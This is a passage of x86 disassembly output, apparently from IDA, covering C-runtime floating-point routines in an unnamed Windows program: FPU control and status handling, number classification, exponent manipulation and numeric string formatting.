		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43CF10
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43CF20
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43CF20
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43CF10
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43CF10
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB928, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB928, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43CE38


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43CF10
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43CE3C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43CF38
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43CF38
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43CF44
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 2680506h
		nop
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26A043Dh
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43CBB4, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C9A8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43CBB8
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43CBB8
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43CF60o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB9C0, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB9BC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43CBB8
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB9C0, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB9C0, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB9C4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB9BC
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43CBB8
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB9C0, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
